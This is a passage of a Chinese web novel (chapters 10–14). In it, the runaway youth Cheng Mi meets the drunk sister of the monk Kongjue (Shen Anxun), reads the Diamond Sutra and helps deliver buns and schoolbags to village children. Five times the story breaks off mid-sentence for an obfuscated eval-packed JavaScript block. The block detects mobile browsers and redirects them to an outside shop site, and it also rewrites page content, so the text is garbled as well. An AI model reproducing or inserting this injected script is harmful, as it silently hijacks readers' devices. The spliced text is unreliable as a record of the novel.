逯卓郑重地说:“少爷,你尘缘未了,记得早点回人间来浪啊。” “浪个毛线。”程觅一挥手,“走了。” 与逯卓分别后,程觅放缓脚步,悄么声跟在沈思妍身后。她像是踩不稳似的,身子总是左右摇摆,几缕清风从前往后吹过,程觅鼻翼瓮动,原来她喝酒了。 大清早喝酒?还是昨晚买的醉?程觅怕沈思妍一脚踩空了,稍稍跟上她,隔了两级台阶挡在她身后。 沈思妍魂不守舍地来到檀赞寺门前,眼神迷离地凝视寺门后的三佛殿。她的长发凌乱不整,没化妆,眼袋深重,静默几秒,脑袋倏地一歪,整个人直挺挺地朝地面砸去。 “卧槽!”程觅扔掉袋子急忙跑上前,反应极快地护住了沈思妍的脑袋,手背狠狠地蹭在地上,疼得他鼻腔猛地一酸,差点疼哭了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331599|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程觅大惊失色:“这人什么情况?!” 一旁卖佛灯的大妈见状离开摊位,快步过来端详着沈思妍的脸,随即一拍大腿:“哎呀,又是她,三天两头喝得烂醉,有时倒在寺门前,有时倒在寺院里。” 程觅听蒙了:“……啊?” “这姑娘也不知道有什么心事,哪儿能这么喝呀,不得把身体喝出毛病来。”大妈边摇头边叹气,双手合十微微弓身,“阿弥陀佛,愿她能早日放下执念。” 程觅左手护在沈思妍脑后,右手托着她的背,地面凉,对方只穿了一件薄薄的衬衫。环顾四周,青檀树下有一张长椅,程觅用力将沈思妍横抱起来,艰难地挪步,放轻动作将人抱到座椅上。 平躺之后的沈思妍表情一直很痛苦,程觅琢磨半晌,把塑料袋中新买的毛巾拿出来,叠成方块垫在沈思妍脑袋下面,让她当枕头垫着。沈思妍胳膊上挎着包,里头估计装着手机和钱,程觅左右为难,是把人丢在这儿自行离开,还是守着她避免这附近有扒手偷她东西。 沈思妍始终攥拳的手因睡着后缓缓松开,一个硬纸团掉落在地,滚到程觅脚边。程觅带着疑惑弯腰拾起,一点点把它展开……是一张黑白照片。 纸张边缘枯黄掉渣,像上个世纪父母那代人年轻时拍的照片。褶皱的照片扭曲了男人的五官,但从样貌上看,这人长得挺老实的,普普通通的面相,看起来有些上岁数了。 这是她爸爸吗?程觅将照片翻过来,背面用红笔……用口红写了三个字:去死吧! 程觅露出一副惊恐的表情,当没看见,重新把照片团成纸球。刚想塞回沈思妍手中,视线一抬,程觅猛然间跟刚刚清醒的沈思妍来了个近距离对视,手里正握着照片的他,顿时生出一股做贼心虚的感觉。 尴尬地蹲在原地,程觅不知道该说些什么,一时无言。沈思妍面无表情地看着程觅,半晌,她问:“你是怎么认识沈岸寻的?” “谁?”程觅愣住了,半天没反应过来,“谁?谁是沈岸寻?” 沈思妍定睛审视程觅,若有所思。 程觅诚恳地回道:“我不认识沈岸寻。” 之后两人都不再说话,弄得程觅更尴尬了。正想起身离开时,沈思妍说:“那我重新问一遍。” “你是怎么认识空觉的?” 11.第11章 正文011 程觅愣了几秒,然后才回过神儿来,原来空觉小师父的本名叫沈岸寻。 沈岸寻……还挺好听。 两人并排坐在长椅上,沈思妍半边身子靠着扶手,整个人显得很疲惫。上一次见面由于戴着墨镜,程觅没能看清她的长相,如今一见,美得让人移不开视线。 程觅确实没能移开视线,但他并非是因对方一眼惊鸿的相貌,而是这个女人长得……有点像沈岸寻。 程觅回道:“我就是不想回家住,误打误撞碰上了空觉小师父,求他收留我来着。” 沈思妍潦草地将长发盘好,听罢点了点头,望着寺门默不作声。程觅看见沈思妍的嘴唇干裂起皮,于是走到第一次来檀赞寺买水的那位老人家面前,花了十块钱给她买了瓶矿泉水。 沈思妍看向程觅挑了下眉,说:“谢谢。” 正要接过来,程觅抬手示意等一下,然后拧松瓶盖,再次递过去:“好了,给。” 苍白的面容浮现一丝笑容,沈思妍弯起眼角:“真贴心。” 阳光被青檀树的枝叶阻隔,零碎的光斑摇晃在两人身上,沈思妍喝完水,程觅小心翼翼地把纸团拿给她,抱歉道:“我好像看了不该看的东西,对不起。” 沈思妍无动于衷,眼神泛空,但还在尽力保持笑意。停顿片刻,她说:“帮我扔了吧。” 程觅点头:“哦,好的。” 夏风燥热,好在山间气温不高,坐着基本不怎么出汗。程觅意识到自己该走了,可他心中有几团疑惑,踌躇良久,他还是忍不住开口问:“空觉小师父是叫沈岸寻吗?” 沈思妍依旧凝望着檀赞寺的大门:“嗯。” 程觅问:“‘岸寻’是哪两个字啊?” 沈思妍回答:“彼岸的岸,寻找的寻。” 程觅在掌心写了一遍,又问:“不是我八卦啊……好吧我是有点八卦,你和沈岸寻……是什么关系啊?” 沈思妍转过头,冲程觅笑了笑:“你猜。” “我猜啊?”程觅想了想,一本正经谨慎地分析道,“沈岸寻是出家人,你肯定不是他女朋友,所以我猜,你应该是她妹妹吧。” “妹妹?”沈思妍终于笑了,“我有这么年轻吗?明眼人应该都看得出来我比他年长吧。” 程觅:“天生丽质是最主要的,你保养得也很好,所以我真的猜不出具体年龄,女孩子嘛,往年轻了猜总不会错的。” “你这孩子,这么贴心还这么会讲话。”沈思妍笑着,说,“谢谢,知道你在逗我开心,我的心情好了不少。” “就算你跟小师父差着些年纪,穿衣打扮都很成熟,仔细看来其实大不了几岁。”程觅问,“你真的是小师父的姐姐?怪不得,我就觉得你们俩的长相有些神似。” 放软表情,沈思妍长长地舒出一口气。程觅见她一脸疲惫,好像还没完全醒酒,便问:“你要不要去你弟弟家里休息一下?” 沈思妍摇头:“不用了,别打扰他。” 程觅说:“你都醉成这样了,还这么执着地要来这里,一定是很想见到他吧?” “想啊。”沈思妍神色温和道,“每分每秒都想。” 沈思妍极其厌恶酒这个东西,可是又经常需要借助喝醉的感觉来消磨内心的苦楚。 “我就剩他一个亲人了。” 程觅一时没能接上话,沈思妍的这句话里包含了太多信息,比如他们的父母呢?为什么姐弟俩会分开?之前在用品店沈岸寻不可能没注意到站在角落里的沈思妍,他们为什么这么陌生?——可他作为外人无权过问。 快到正午了,他们都知道沈岸寻午饭后会在佛教用品店打扫卫生。程觅说:“正好我也要去找他,一起吧?” 闭上眼睛加深呼吸,沈思妍闻了闻飘到寺院外的香火味。她摇头说:“我该走了。” “眼前的这扇寺门,把我跟他隔开在两个世界,我说不清命运这样安排是不是正确的。”沈思妍的眸中黯淡无光,“但尘世间的疾苦离沈岸寻很远,不管怎么样,这就是我最期望的。” 程觅听不懂,却听得非常认真。 “忙你的去吧。”拍拍毛巾上的灰尘,还给程觅,沈思妍举起矿泉水,“谢谢你的善意。” 程觅在返回木屋的路上沉思了一会儿,是否要将见到沈思妍的事情告诉沈岸寻。不过没多久,他的心思就用在别处了,他得先把自己收拾明白了。 身上的这件衣服在跟程一珂打架时被扯变了形,袖筒破了两道口子,是扔还是不扔?程觅平时从不犹豫,物质方面经常“断舍离”,可这运动服是冉菁遥买的,他穿了两年,这衣服很合他身型,程觅摸着下巴想了想,决定不扔了。 换好新买的短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335768|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖,手机正在充电,程觅找来个不锈钢盆,也没管沈岸寻是拿它洗什么的,尊贵的大少爷准备尝试自己洗衣服。外面的水池台上有肥皂,程觅接了半盆水,学着记忆中冉菁遥的样子用力揉搓,泡沫不够多,他把肥皂泡在水盆里,拧开水龙头,等着它自己出泡泡。 半天过去了,程觅端抱胳膊注视着打滚的肥皂,自言自语道:“我妈好像用的是洗衣粉吧?” “那这不出泡泡怎么洗啊。”程觅捡起肥皂往衣服上狠狠搓两下,开始不耐烦了,“洗个衣服要这么费劲吗?” 两只手卖力地搓着,下一秒用力过猛,袖筒上的口子“嘶啦”一声,开得更大了。程觅瞪圆了眼睛,气得直跺脚,用手背蹭掉额角的汗珠,撇撇嘴说:“妈的,留着它干吗,生不带来死不带去的,扔了多痛快。” 骂骂咧咧完,程觅突然打了个寒颤,下意识瞄了眼四周,心想沈岸寻没回来吧。木屋门板响动,程觅惊恐地看过去,立即目测屋门到水池之间的距离,挺远的,沈岸寻肯定没听见。 程觅松了口气,他已经懒得自问为什么自己这么听沈岸寻的话了。自从遇到沈岸寻,他在这人面前奇迹般地没了少爷脾气,变得乖巧温顺,大概是因为对方的职业太神圣了,让程觅对沈岸寻的一切深信不疑。 佛家弟子……是职业吗?还是爱好?是信仰吧,应该是信仰。程觅边搓衣服边在心里嘀咕,直到衣服上没异味了,他才倒掉满盆的肥皂水,细致地将泡沫冲洗干净。 拧干衣服,再把不锈钢盆冲一遍水,程觅满满的成就感,哼着小曲儿返回木屋。进到屋内,他同正准备打坐的沈岸寻打了声招呼,径直走向窗边,从粗铁丝上摘下一枚衣架。 “小师父,我借用一个。”程觅道,“晚上你可能还得借我一个,我要晾内/裤。” 抻平衣服以免起褶子,程觅忙活完转过身,只见灶台上放着一碗清汤面。他惊喜地去搬放在墙角的小板凳,刚要坐到灶台前,一本书打着旋儿笔直地飞过来,稳稳地落在程觅脚边。 程觅扭着身子低头一瞧,《金刚经》。紧接着便听沈岸寻说:“读一页。” 苦着脸闭了闭眼,程觅郁闷道,这人是顺风耳吧,距离那么远,听力这么好。认命地捡起地上的经文书,他小声嘟囔:“肚子好饿啊。” 没等翻开封皮,沈岸寻改口说:“吃完饭后读一页。” 12.第12章 正文012 虽说是清汤面,但撒了芝麻,加了豆腐和青菜,程觅吃得鼻头冒汗。面条吸溜到一半,他挑高筷子,问:“小师父,这是你做的吗?” 沈岸寻闭着眼落沉呼吸,回答:“不是。” 张嘴的动作停滞,程觅突然觉得碗里的面条不香了。 他面对着灶台,盯着架在上面的大铁锅,边吃边游离思绪。檀赞寺太清净了,特别适合学习,程觅对自己6.5分的雅思成绩不满意,前几天又报了一次名,九月份考试,他可以在这里备考。 虽然现在是高二暑假,没多少复习的时间了,但他还是想试一把,试试能不能考到7分。 想太好了,程觅扶住碗,往嘴里扒拉青菜叶子。他在这儿待不长的,迟早得回程家,程觅不会一直让冉菁遥一个人,况且沈岸寻也没义务长期收留他。 吃完面,程觅去外面的水池洗碗洗筷子,然后放回灶台,翻开《金刚经》。瞄一眼正在打坐的沈岸寻,程觅清清嗓子,皱着眉念道:“如是我闻。一时佛在舍卫国。祇(zhǐ)树给孤独园……” 沈岸寻纠正:“祇(qí)树。” “……哦。”程觅条件反射地想拿笔标注拼音,一想没笔,二想这是沈岸寻的书,于是作罢继续往下念,“与大比丘众,千二百五十人俱……” 余光瞅着这一句的注解,不过几个字,解释却有十二行,程觅一脸苦涩地继续读《金刚经》,还好一页的正文内容不多,大部分都是解析,念起来虽然拗口,但也不难读。 读完合上书,程觅无所事事,手机里全是冉菁遥的未接电话和短信。他没看,看了心疼,担心又着急,可回去就得跟厌恶的人抬头不见低头见,避免不了冲突的发生,他不知道自己还能干出什么出格的事儿来。 这就是一个恶性循环,唯一破解的方法就是让冉菁遥放弃婚姻,但程觅清楚这是不太可能实现的事。局外人看待事情可以永远保持理智,好比程觅,他能将冉菁遥离婚的好处一一列举出来讲给她听,但冉菁遥经历的是长达二十八年的感情,它不是物品,能够轻易做到“断舍离”,更何况,爱情总是叫人丢失理性。 “接受”比“改变”容易多了,所以冉菁遥这这些日子一直在一味地接受,她不愿意改变她与程昌磊的关系,改变早已习惯的生活状态和生活环境,因为离开这些需要承担更多的难过,付出更多的努力,甚至余生只剩下辛苦——辛苦地去对抗痛苦。 程觅知道冉菁遥在受苦,可他无能为力。 躺到床上侧过身,左脸蹭着枕巾,程觅注视着沈岸寻,许久之后才后知后觉地回过神,他怎么又跑人床上去了?! “睡沈岸寻的床”似乎已经成为程觅下意识的行为了,尽管床铺柔软,气味香香的,但程觅实在不好意思大白天的还占着人家的床,于是坐起来下床去找小板凳。 规规矩矩地坐到沈岸寻身边,程觅问:“小师父,你下午都做些什么啊?” 沈岸寻纹丝不动。 “还要打扫寺内的卫生吗?”程觅又问,“要不,你带我一起吧,不然我一个人守着木屋怪无聊的。” 沈岸寻轻启唇齿:“做馒头。” “啊?”程觅一愣,“做馒头?” 沈岸寻说:“要做二百个馒头。” 门边堆着一袋子面粉,还有两大包红枣,程觅对此有些摸不着头脑:“檀赞寺不是有后厨吗?干吗还让你做饭啊?” “各位师兄都有任务。”沈岸寻道,“我被分到的任务就是做馒头。” 程觅把板凳往沈岸寻身侧挪了挪,倾斜肩膀看着他的脸,问:“做给谁吃啊?” 沈岸寻回答:“横水村的孩子们。” 横水村在哪儿,程觅可以上网查,但有的问题他是查不到答案的,比如做馒头的钱是从何处来的?沈岸寻不收他钱,他一个小僧尚且如此,他的师兄与住持更不会贪财,檀赞寺没有收入,那该怎么保证僧人们的生活? 程觅憋不住好奇,尤其憋不住有关沈岸寻的一切好奇:“出家人不允许收钱,那买面粉和红枣的钱是从哪儿来的啊?” 沈岸寻停下心中的诵经声,睁开眼看向程觅。虽然沈岸寻脸上没有表情,但程觅还是感觉到了他的无奈。 程觅抱歉地说:“对不起小师父,我不是有意打扰你修佛的,我就是特别好奇。” 沈岸寻回道:“檀赞寺的收入来源主要是政/府拨款,其次是拜佛者所捐的功德钱。” “哦。”弯着背两手抓着脚踝,程觅盯着地面点点头,“那……” 看回去时,沈岸寻已经重新闭眼打坐了,程觅撇撇嘴巴,自己将没说完的话补充完整:“那我能跟你一起做馒头吗?” 这句话肯定石沉大海,程觅捏着后颈无聊地晃着腿,却听见沈岸寻说:“可以。” 这让程觅有点意外。 目光定格在沈岸寻脸上,然后盯住嘴唇,这两片嘴唇刚才动了吗?出声音了吗?小师父真的同意了?程觅高兴极了,也不去琢磨自己为什么这么高兴,小声嘀咕道:“我不会是出现幻听了吧?” 沈岸寻重复:“可以。” 为横水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335769|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村希望小学的孩子们做吃食,这是行善,沈岸寻不会拒绝程觅。再者,无论是读《金刚经》还是做馒头,都是比较磨性子的事,程觅容易起急,容易受外界影响,性情需要磨练,这两件事对他百利无害——这是沈岸寻打坐时分心在想的事。 心头忽然被喜悦覆盖,程觅难掩自己的开心,后背靠墙愉快地伸着腿。从后面打量沈岸寻,程觅发现他的肩膀略宽,背部平整,罗汉卦不算宽松,打坐的时候能隐约勾勒出他劲瘦的窄腰。 沈岸寻像竹子、像松树,也像一座钟,他的周身弥散着檀香味,也可能是寺庙里香火的味道。沈岸寻太安静了,他的安静是可以传化旁人的,程觅透过他的背影,好似能看见照亮人间的日出。 莫名其妙升腾在心口的暖意,致使程觅又一次开了口:“小师父,我知道你的名字了。” 沈岸寻的身形毫无变化,就连呼吸都没让肩线有所起伏。 程觅坐正身子,转过头问:“你是叫沈岸寻,对吗?” “我还是会叫你空觉小师父。”程觅说,“因为你现在是佛家弟子,‘空觉’才是你的名字。” “但是……我知道了你的本名。”程觅顿了顿,继续道,“这对我来讲,是一种说不上来的、很奇妙的感觉。” “所以出于礼貌,又或者是出于平等,我也应该告诉你我的名字。” “本来住在你这儿的第一天,就该跟你做自我介绍的,但你没问我,我也就忘记说了。”程觅道,“那就现在补上吧。” 不知为何,程觅觉得这是个非常隆重的时刻,赶紧整了整衣服,咳嗽一声挺直腰板,又觉得自己的样子有点好笑,于是笑着说:“你好空觉小师父,我叫程觅。” “旅程的程,寻觅的觅。” 说完寻觅两个字时,程觅在脑中开了个小差,从小到大,他一直跟别人这么介绍自己——我叫程觅,寻觅的觅。 如今他遇到了一个人,这个人的名字最后一个字是寻,程觅当着沈岸寻的面介绍自己的时候,脱口而出一贯的话让他最近一段时间总是悬着的心突然有了着落。 这间木屋成了他暂时的归属地,眼前这个人,此刻给予了程觅一丝短暂的归属感。 说不清道不明的感觉,如同在认识这个人之后,再跟别人介绍自己时,觅字之前总要带着的那个“寻”字,不再是为了强调自己名字里的“觅”——这两个字好似有了相同的分量。 每次跟别人介绍我自己,我总会想起你。 这大概就是缘分吧。 “你可一定要记住我啊。” 13.第13章 正文013 程觅隆重地介绍完自己,见沈岸寻没啥反应,自己晃了晃腿缓解尴尬,弓起膝盖枕着脑袋,侧过脸盯着沈岸寻看。没看多久,眼皮开始打架,半梦半醒间,程觅听见搬东西的声响,他挣扎着清醒过来,被一大团光亮刺了一下眼睛。 午后三四点钟的阳光斜进木屋,沈岸寻坐在板凳上卷高袖口,弯着腰卖力地和面。程觅慢慢伸直僵硬的四肢,恢复知觉后,搬起板凳悄声挪过去,坐到沈岸寻旁边,低头看向对方埋在面粉堆里的一双手。 程觅见到沈岸寻的第一面,最先注意到的就是他的手。沈岸寻的手指骨节分明,干净修长,灵活地搅动面粉使其加快融于加了糖的酵母水,用力和成紧实的面团。程觅忍不住想伸手戳一戳,伸过去的指头还没碰到面团,沈岸寻开口道:“去洗手。” “哦!对对对,应该的应该的。”程觅迅速站起来,以最快的速度跑向木屋外的水池,往手上打两遍肥皂,扭头飞奔回来时,沈岸寻已经将塑料盆封好保鲜膜,静置在阳光中等待面团醒发。 第一团面早已醒发完毕,沈岸寻把它从盆里转移到案板上,揉成条状,用刀切成小剂子。搓干手掌轻轻按扁,拿筷子将面块夹出花型,然后往中间压进去一颗红枣,一个枣花馒头就完成了。 “我来我来。”最后两个步骤比较容易,程觅过了遍眼便学会了,献殷勤地说,“夹花和压红枣,我能行。” 沈岸寻没有反对,又切下一枚小剂子按扁,放到程觅面前。程觅握住筷子,小心翼翼地夹着面块,动作看得出来有点紧张。 “好不好看,简直完美。”美滋滋地欣赏自己的杰作,夹来一颗红枣点缀在馒头中间,程觅啧了一声,“我手机呢?我得赶紧拍张照片留作纪念。” 沈岸寻说:“手又该脏了。” “……哦。”乖顺地点点头,程觅道,“那就先不照了,等蒸好了再照吧。” 两人默契地配合着,很快,蒸笼上铺满了枣花馒头。窗外日落林间,暮色替换成黛蓝色的星夜,第一拨先蒸五十个,总共要蒸四拨。 程觅夹着面花,打着哈欠,做好第二批等待上蒸笼的半成品,第一批枣花馒头散着滚烫的热汽出锅了。 迫不及待地抓起一个放进碗里,吹凉,程觅咬下一口,掺杂着小半颗红枣。口感柔软蓬松,口中枣香满溢,程觅惊喜地将馒头举到沈岸寻眼前,说:“小师父,你也尝尝。” 沈岸寻摇头:“我不吃。” “我算是发现了,你晚上好像不怎么吃东西。”程觅不解地问,“为什么啊?” 沈岸寻把蒸笼搬到窗边放凉,低头继续忙碌。 没能听见回答,程觅盯着沈岸寻的背影一口一口地将馒头吃完,而后靠墙抱起胳膊,继续盯着人看。就这样过了很久,沈岸寻终于停下手里的活儿,转过身看着程觅,回道:“佛陀戒律,过午不食。” 程觅有些出神:“哦。” “你还要帮忙吗?”沈岸寻问。 眨眼回神,程觅撸起袖子说:“帮,那必须得帮。” 二百个馒头全部放凉装袋,等程觅拍完照片,任务完成,时间接近凌晨。沈岸寻在水池前洗脸,程觅正在刷牙,洗好脸,拧紧水龙头,沈岸寻道:“明早我五点钟出门。” 咕嘟着满嘴泡沫,程觅问:“是去横水村吗?” 沈岸寻用毛巾擦净下巴上的水珠:“嗯。” “我能跟着去吗?”程觅问,“我还没去过横水村呢。” 沈岸寻道:“你起不来。” “哈?小师父,你可别小看我。”程觅举着牙刷,斩钉截铁地说,“咱俩打赌么,我要是五点钟起床了,你就得带我去横水村。” 沈岸寻叠好毛巾:“五点钟我已经出门了。” 程觅立马改口:“我要是四点半起床了,你就得带我去横水村!” 沈岸寻却道:“四五点钟你睡得正熟,我听见你打呼噜了。” “什么?!”程觅听罢,顿觉颜面尽失,死都不肯相信,“我睡觉打呼噜?你骗我呢吧?这怎么可能!” 沈岸寻淡淡地说:“修佛之人不打诳语。” 打呼噜是很正常的事,如果对方是逯卓,程觅会表现得无所谓,甚至更加肆无忌惮,可对方是沈岸寻,无条件收留他、把床让给他睡觉的沈岸寻,他竟然在人家床上打呼噜吵着人家打坐,这让程觅一时有些无地自容。 刷完牙去公厕洗了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340376|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澡,再将脏衣服洗好,程觅借了个衣架晾内/裤,之后两个人谁都没再出声。 熟练地躺到沈岸寻的床上,侧身枕着带有檀香味的枕头,程觅看了一眼不动如钟的沈岸寻,摁亮手机,定好四点半的闹钟。原本打算不再打扰沈岸寻,程觅认认真真地想了一会儿,还是决定表个态:“小师父,我尽量不打呼噜了,四点半准时起床。” 沈岸寻盘着腿闭上眼,落低肩膀压沉气息,说:“你可以打呼噜。” “不打了,太没面子了,我现在就开始给自己做心理暗示。”程觅躺平道,“估计是我这几天折腾得太厉害,又熬了夜,才会打呼噜。” 沈岸寻说:“不必放在心上。” 程觅撇嘴道:“抱歉啊,我肯定吵着你打坐了。” 沈岸寻说:“我不会轻易受外界影响。” 程觅越想越觉得不好意思,甚至很没面子,各种模样的自己都被沈岸寻看了个遍,基本没怎么给人留下什么好印象:“我怎么会打呼噜呢!” 沈岸寻没再说话,程觅心思沉重,在床上翻来覆去烙大饼,半天静不下心。意识朦朦胧胧间,随即又清醒过来,距离四点半还剩三个小时,程觅索性不睡了,生怕再打呼噜吵着沈岸寻静修。 一会儿摸摸手机,一会儿翻翻《金刚经》,程觅瞪着天花板无所事事,七想八想了几分钟,他点开网页搜索“横水村”的相关信息。北辰市地界处有一片山区,横水村夹在两条陡峭的山路之间,由于交通不便利,当地的居民生活贫苦,基本上是自给自足。 程觅正阅读着横水村的简介,忽然,沈岸寻出声道:“程觅。” “哎!”右手一松,手机重重地砸在鼻梁上,程觅眼含热泪使劲揉搓,慢慢停下动作,愣了几秒,迟缓地应声,“小师父……你喊我名字了?” “我答应你,会记住你。”沈岸寻说,“所以你能不能踏实一点,安心睡觉,不要在意打呼噜的事,不然,我会自责不该告诉你实情的。” 毫无缘由,沈岸寻一句话就把程觅哄老实了。迅速摁灭手机,程觅听话地呼出一口气,不费吹灰之力立刻安静下来,合上眼,勾唇道:“晚安,空觉小师父。” “待会儿见咯。” 14.第14章 正文014 还真是“待会儿”就见到了,程觅感觉才刚睡着就被闹钟吵醒了。 聒噪的闹铃声似乎离他很远,又一瞬钻入大脑,意识回笼的同时,他猛地从床上弹起来,摁掉闹铃,睡眼朦胧地寻找沈岸寻,对方正往瓷碗里盛粥。 天还没亮,窗外一片漆黑,屋内亮着两只灯泡,程觅顶着鸡窝脑袋问:“我没睡过点儿吧?” “没有。”沈岸寻把洗干净的筷子放在程觅碗上,说,“下次别再起这么猛了,容易头晕。” 两手握住自己的脚腕,程觅瞪着沈岸寻的背影震惊几秒,问:“你现在是背对着我的吧?你怎么知道我起猛了?” 沈岸寻常年打坐,心静如镜,耳朵听到的动静自然能够映照在心中。坐在小板凳上,沈岸寻低头将佛珠绕到手腕上,答非所问:“还剩二十分钟。” 程觅努力醒了醒神,下床边穿鞋边说:“我得抓紧了。” 除去对沈岸寻听力卓绝的佩服,程觅对现在的自己也有几分佩服。平日在家,只要没睡够九个小时,他准有起床气,眼下在檀赞寺,他只睡了两三个小时,竟然一点儿脾气都没有,程觅对此十分意外。 在水池前刷牙的时候还在想这个问题,回到木屋就忘在脑后了,捧着碗一粒米不剩地喝光大米粥,程觅捡两颗花生米扔进嘴里,用手将睡乱的发型抓蓬松,这时,屋外响起三下敲门声。 沈岸寻打开门,是他的师兄空明:“空觉,你的车已经到了,二百份书包我们已经帮你搬到车上了。” 檀赞寺的其他弟子各自都有行善的目的地,沈岸寻一直负责的是横水镇的孩子们,此行送给孩子们的礼物是书包和馒头。双手合十置于胸前,沈岸寻微微弓身:“多谢师兄。” 屋门随着悠长的钟声敞开,日出映红房间,沈岸寻挽高袖口,两手拎起四个袋子,步伐沉稳地迈到门外。程觅见状,主动上前想要帮忙,沈岸寻婉拒道:“你锁门。” 程觅“嘭”地把门掩上,心急地说:“你分我两个袋子啊!” 沈岸寻道:“我拿得动。” 长阶下行,程觅走在后面,双手插兜,一双眼睛牢牢地盯着沈岸寻。两侧的竹林随风摇晃,沈岸寻一身素衣,双臂裸/露,臂膀肌肉线条紧实。 一直在吸引程觅注意力的,仍是那条佩戴在沈岸寻左手上的老山檀佛珠,但真正吸引他的并不是珠串本身,而是木珠在沈岸寻凸起的腕骨上来回滑动的画面,尾部垂下来的穗子扫着对方因施力而青筋毕现的手背。 长阶就要走到尽头,程觅忽然思绪神游:沈岸寻是几岁出家的?他有没有感受过什么是喜怒哀乐,有没有经历过悲欢离合?他一直都在山上、都在寺庙里生活吗?人间……他知道人间是什么样子的吗? 下到台阶底部,道旁停着一辆面包车,司机师傅正倚着车门抽烟。看见沈岸寻,他迅速将烟掐灭,恭敬地走过来,先双手合十鞠了一躬,然后接过他手上的袋子。 面包车的空间不小,此刻全堆着花花绿绿的小书包和软软糯糯的枣花馒头,沈岸寻让程觅坐在驾驶位后方的车座上,他则搬来一把折叠凳,展开坐下。 程觅瞅着沈岸寻的折叠凳,问:“从檀赞寺到横水镇要多久?” 沈岸寻回答:“两个半小时。” 程觅担忧道:“你就一直坐折叠凳吗?不硌屁/股吗?” 沈岸寻说:“没事。” 面包车常年拉货,座椅都拆卸掉了,为了能够最大限度地使用空间,车厢内除了正副驾驶位和程觅的座位,只剩几把折叠凳。程觅其实想客气地提议两人换着坐座位,但他犹豫了,因为折叠凳太小了,坐着实在不舒服,况且沈岸寻在话音落下后就闭上眼低沉肩膀,看样子是不想再开口说话了。 车辆缓缓发动,程觅索性不再言语,靠着椅背去看窗外的风景。很快驶入高速路段,太阳完全跳出山峦,金灿灿的阳光洒满山谷,植被绿意蓬发,程觅望见前方的半山上挤满了一排排的房屋。 随着车子的惯性轻晃身体,困意愈发浓重,程觅丝毫不意外自己会在车上睡着,意外的是醒来时面包车早已进入横水镇地段。 眯眼瞧着镇上低矮的瓦房,程觅意识模糊地嘟囔:“我靠,我也太能睡了,这是睡了一路吗?” 沈岸寻的声音响在身侧:“中午回去读一页《金刚经》。” 程觅郁闷地不敢吱声:……这又不是在潭赞寺! 道路狭窄,几次弯弯折折,车身晃得厉害。几分钟后,一所小学映入视野,铁门大开,程觅放远视线,校门内侧的空地上密密麻麻站的全是小孩子,脸上挂着纯真的笑容,有的在招手,有的在欢呼。 隔着车窗都能听见他们正在喊“空觉小师父”。 面包车停在旗杆下方,小孩子们压根不听老师指挥,热情冲天,立刻上前将车辆包围。沈岸寻推开窗户示意他们远离车身,以免打开车门时被碰到身体。 才刚迈到车外,孩子堆里的一个男孩迅速搂住沈岸寻的腰,另一个从后面扑上来,几乎是挂在沈岸寻身上了。女孩们抓着沈岸寻的衣服,叽叽喳喳说个不停,程觅原本是要跟着沈岸寻一起下车的,伸出去的腿随即又收回来,他蹲在车门边,安静地注视着眼前发生的一切。 沈岸寻脸上是一如既往的平淡,没什么表情,但能从他的动作中看出他的温柔和细心。依次摸过孩子们的头,沈岸寻小心翼翼地转移到车尾,先将书包搬下来,孩子们立即排成两列纵队,举高双手迎接崭新的书包。 “程觅。” 听见沈岸寻叫自己了,程觅回过神赶紧应了一声,下车走到沈岸寻身边,负责其中一队的分发任务。两百个书包全部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346729|198723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 